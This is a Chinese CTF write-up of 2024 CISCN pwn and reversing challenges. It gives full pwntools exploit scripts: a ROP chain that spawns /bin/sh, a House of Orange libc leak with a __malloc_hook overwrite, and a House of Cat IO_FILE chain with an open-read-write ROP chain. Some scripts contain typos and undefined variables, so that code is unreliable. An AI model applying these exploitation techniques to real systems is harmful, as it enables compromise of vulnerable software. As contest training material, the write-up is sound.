2024CISCN pwn部分wp

菜鸡挣扎罢了

gostack

go语言编译的程序,打开一团乱码看起开超级费劲。可以用一个插件处理一下 0xjiayu/go_parser

主要的流程还是在 main_main_funcX 那里。

溢出之后构造 rop 链来读一个 '/bin/sh' 到bss段,再调用 system 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
sh=process('./gostack')

mov_rdi_v_rax_ret=0x460cd8
pop_rdi_5_ret=0x4a18a5
pop_rax_ret=0x40f984
pop_rdx_ret=0x4944ec
pop_rsi_ret=0x42138a
bss=0x563720
syscall=0x404043

sh.recvuntil('Input your magic message :')
payload=b'a'*0x1d0+p64(pop_rdi_5_ret)+p64(bss)+p64(0)*4+p64(pop_rax_ret)+b'/bin/shx00'+p64(mov_rdi_rax_ret)
payload+=p64(pop_rdi_5_ret)+p64(bss)+p64(0)*5+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret++p64(0)+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)

sh.sendline(payload)
sh.interactive()

看到队里师傅分享的解题思路是伪造合法字符串,嘻嘻,看不懂

orange_cat_diary

看题目就知道要打 House of orange

其实没有刻意去学过 house of xxx 系列,我觉得太格式化了有种应试教育的感觉

但是毕竟比赛出题都给了提示,去学习一下

关于 house of orange :

House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。

这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

free 功能里存在 UAF ,没有置零释放的指针

在 edit 功能里面可以溢出 8 字节长度,八字节长度刚好溢出到下一个 chunk 的 size 段。

因为这个程序它全程只记录一个地址指针,我们用正常的泄露 libc 的套路是不可行的,正好用上 house of orange 的原理。

我们申请一个堆块,然后 edit 写数据溢出修改 topchunk 的 size。

随后申请一个比修改后的 topchunk size 更大的堆块,这个时候 topchunk 就会进入 unsortedbin,当我们再次申请时这个堆块就会被分配出来,它就会带着 unsortedbin 的脏数据,我们就可以泄露 libc 了。

像这样!

需要注意 topchunk 的检查:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

这样申请出来的堆块不仅有 main_arena 地址,还有这个 heap 的地址

泄露地址之后利用 uaf 来执行 onegadget 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh=process('./cat')
libc=ELF('./libc-2.23.so')

def add(size,content):
sh.sendlineafter("choice:",b'1')
sh.sendlineafter("content:",str(size).encode())
sh.sendafter("Please enter the diary content:",content)

def show():
sh.sendlineafter("choice:", b'2')

def delete():
sh.sendlineafter("choice:", b'3')

def edit(size,content):
sh.sendlineafter("choice:", b'4')
sh.sendlineafter("content:",str(size).encode())
sh.sendafter("Please enter the diary content:",content)

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
sh.sendlineafter("Please tell me your name.",b'OvO')

add(0x28,b'aaaa')
edit(0x30,b'a'*0x28+p64(0xfd1))

add(0xff0,b'bbbb')

add(0x200,b'cccccccc')
show()

sh.recvuntil('cccccccc')
#main_arena = u64(sh.recv(6).ljust(8,b'\x00'))
main_arena = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = main_arena-0x3c5188
print ('libc_base ',libc_base)
#heap_addr = u64(sh.recvuntil(b'\x56')[-6:].ljust(8,b'\x00'))
#print ('heap_addr ',heap_addr)
malloc_hook = libc_base + libc.sym['__malloc_hook']
print ('malloc_hook',malloc_hook)

add(0x60,b'dddd')
delete()
edit(8,p64(malloc_hook-0x23))

add(0x60,b'eeee')

add(0x60,b'a'*0x13+p64(libc_base+0xf03a4))

sh.sendlineafter("choice:",b'1')
sh.sendlineafter("content:",str(0x20).encode())
sh.interactive()

ezheap

是 house of cat,对于 2.35 版本堆题的一种利用手法,构造 IO_file 的一条攻击链。

house of cat 攻击流程:

1.修改 _IO_list_all 为可控地址(FSOP)或修改 stderr 为可控地址(__malloc_assert)。

2.在上一步的可控地址中伪造 fake_IO结构体 (也可以在任意地址写的情况下修改 **stderr 、 stdout **等结构体)。

3.通过 FSOPmalloc 触发攻击。

一打开就看到那个 seccomp_init 了,限制了系统调用得打 orw

程序四个基本的功能都有,edit 功能里修改的时候由用户输入 size ,存在溢出。其他的漏洞就没有了🤡

bin链表长这个样子

太乱了,我比赛的时候直接吓死了🥵

看别的师傅分享思路是申请一个大堆块来把 fastbin 和 unsortedbin 中 chunk 的链入 smallbin。

这样 smallbin 里面就会有 main_arena 的脏数据

可以根据 show 中 printf 输出时 ‘\x00’ 截断和 edit 的溢出来泄露 libc

申请一个 0xf0 大小的堆块,就可以申请到 0x5568e981c240 ,而 0x5568e981c490 指向 main_arena+496,我们只需要把中间的空白填满,到时候 printf 的时候就会一直输出直到输出 main_arena+496

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh=process('./EzHeap')

def add(size,content):
sh.sendlineafter("choice >> ",b'1')
sh.sendlineafter("size:",str(size).encode())
sh.sendafter("content:",content)

def delete(index):
sh.sendlineafter("choice >> ", b'2')
sh.sendafter("idx:",str(index).encode())

def edit(index,content):
sh.sendlineafter("choice >> ", b'3')
sh.sendlineafter("idx:",str(index).encode())
sh.sendlineafter("size:",len(content))
sh.sendafter("content:",content)

def show(index,content):
sh.sendlineafter("choice >> ", b'4')
sh.sendafter("idx:",str(index).encode())

add(0x500,b'a')
add(0xe8,b'a')
edit(1,b'b'*0x258)
show(1)
sh.recvuntil(b'a'*0x258)
libc_base=u64(sh.recv(6).ljust(8,b'\x00'))-0x21ae70

这两个可以用来泄露 heap ,原理和泄露 libc 的时候一样

不是泄露这个地址 0x5568e981b350 这个堆块的运行时的地址(这个我们控制不了),而是利用 bin 链表中的指针来泄露地址。

1
2
3
4
5
6
7
8
add(0x58,b'a')
add(2,b'a'*0xa8+b'bbbbbbbb')
show(2)
sh.recvuntil(b'bbbbbbbb')
heap_addr=u64(sh.recv(6).ljust(8,b'\x00'))

print('libc_base',libc_base)
print('heap_addr',heap_addr)

之后就是 house of cat 的利用,先把 orw 写进一个堆块里,再进行 IO_file 链的构造

exp:

我抄的,还没误懂,先放这里🤡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh=process('./EzHeap')

def add(size,content):
sh.sendlineafter("choice >> ",b'1')
sh.sendlineafter("size:",str(size).encode())
sh.sendafter("content:",content)

def delete(index):
sh.sendlineafter("choice >> ", b'2')
sh.sendafter("idx:",str(index).encode())

def edit(index,content):
sh.sendlineafter("choice >> ", b'3')
sh.sendlineafter("idx:",str(index).encode())
sh.sendlineafter("size:",len(content))
sh.sendafter("content:",content)

def show(index,content):
sh.sendlineafter("choice >> ", b'4')
sh.sendafter("idx:",str(index).encode())

add(0x500,b'a')
add(0xe8,b'a')
edit(1,b'b'*0x258+b'bbbbbbbb')
show(1)
sh.recvuntil(b'bbbbbbbb')
libc_base=u64(sh.recv(6).ljust(8,b'\x00'))-0x21ae70

add(0x58,b'a')
edit(2,b'a'*0xa8+b'bbbbbbbb')
show(2)
sh.recvuntil(b'bbbbbbbb')
heap_addr=u64(sh.recv(6).ljust(8,b'\x00'))

print('libc_base',libc_base)
print('heap_addr',heap_addr)

add(0x250,'pppp')
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa')

rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
rax= libc_base + 0x45eb0
ret = libc_base + 0x29139

lock =0x3ed8b0+libc_base
magic_gadget = libc_base + 0x16a050 +26
syscall = libc_base + libc.sym['read'] + 0x10
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))

orw_addr=heap_base+0x3210
flag_addr = heap_base+0x260
chunk0 = heap_base + 0x24b0

add(0x250,'pppp')#idx=1
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa')#idx=5

delete(2)
add(0x498,'a')
delete(4)

orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
orw+=p64(rdi)+p64(orw_addr)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(1)
orw+=p64(syscall)

edit(5,len(orw),orw)
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
add(0x4e0,'a')
add(0x440,'b')

exit()
sh.interactive()

asm_re

这个汇编它好像是什么 ARM64 的,和平时看的 AMD64 汇编代码不太一样,不过也差不了多少。

下图这一部分的逻辑就是接收用户输入,然后又拿出存储的密文存储在 dst 这个地方,在给的这个 txt 文件里是用了 flag{xx} 占位。

字符串的处理逻辑就在这里

1
2
3
4
5
6
7
8
9
10
11
__text:0000000100003C94 0A 0A 80 52                   MOV             W10, #0x50 ; 'P'
__text:0000000100003C98 08 7D 0A 1B MUL W8, W8, W10
__text:0000000100003C9C 08 51 00 11 ADD W8, W8, #0x14
__text:0000000100003CA0 AA 09 80 52 MOV W10, #0x4D ; 'M'
__text:0000000100003CA4 08 01 0A 4A EOR W8, W8, W10
__text:0000000100003CA8 08 79 00 11 ADD W8, W8, #0x1E
__text:0000000100003CAC A8 C3 11 B8 STUR W8, [X29,#var_E4]
__text:0000000100003CB0 A8 C3 51 B8 LDUR W8, [X29,#var_E4]
__text:0000000100003CB4 AA 43 92 B8 LDURSW X10, [X29,#var_DC]
__text:0000000100003CB8 28 79 2A B8 STR W8, [X9,X10,LSL#2]
__text:0000000100003CBC 01 00 00 14 B loc_100003CC0

像命令MU W8, W8, W10 就是把后两个参数相乘存储在第一个参数里,比 amd 的汇编多了一个参数而已,指令名称都是一看就懂的。

上面的逻辑就是

1
2
3
4
value *= 0x50
vaule += 0x14
value ^= 0x4D
value += 0x1E

const 段数据 unk_1000003F10 存储的就是是密文,逆一下逻辑就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def decrypt_value(value):
value -= 0x1E
value ^= 0x4D
value -= 0x14
value //= 0x50
return value


def main():
encrypted_values =
[
0x00001FD7, 0x000021B7, 0x00001E47, 0x00002027,
0x000026E7, 0x000010D7, 0x00001127, 0x00002007,
0x000011C7, 0x00001E47, 0x00001017, 0x00001017,
0x000011F7, 0x00002007, 0x00001037, 0x00001107,
0x00001F17, 0x000010D7, 0x00001017, 0x00001017,
0x00001F67, 0x00001017, 0x000011C7, 0x000011C7,
0x00001017, 0x00001FD7, 0x00001F17, 0x00001107,
0x00000F47, 0x00001127, 0x00001037, 0x00001E47,
0x00001037, 0x00001FD7, 0x00001107, 0x00001FD7,
0x00001107, 0x00002787
]

decrypted_values = [decrypt_value(value) for value in encrypted_values]
print("Decrypted values:", decrypted_values)
string = ''.join(chr(char) for char in decrypted_values)
print(string)

if __name__ == "__main__":
main()

国赛结束的晚上就去骑了西湖

60KM,回学校都十一点半了🥹


2024CISCN pwn部分wp
https://shmodifier.github.io/2024/05/24/CISCN2024/
作者
Modifier
发布于
2024年5月24日
许可协议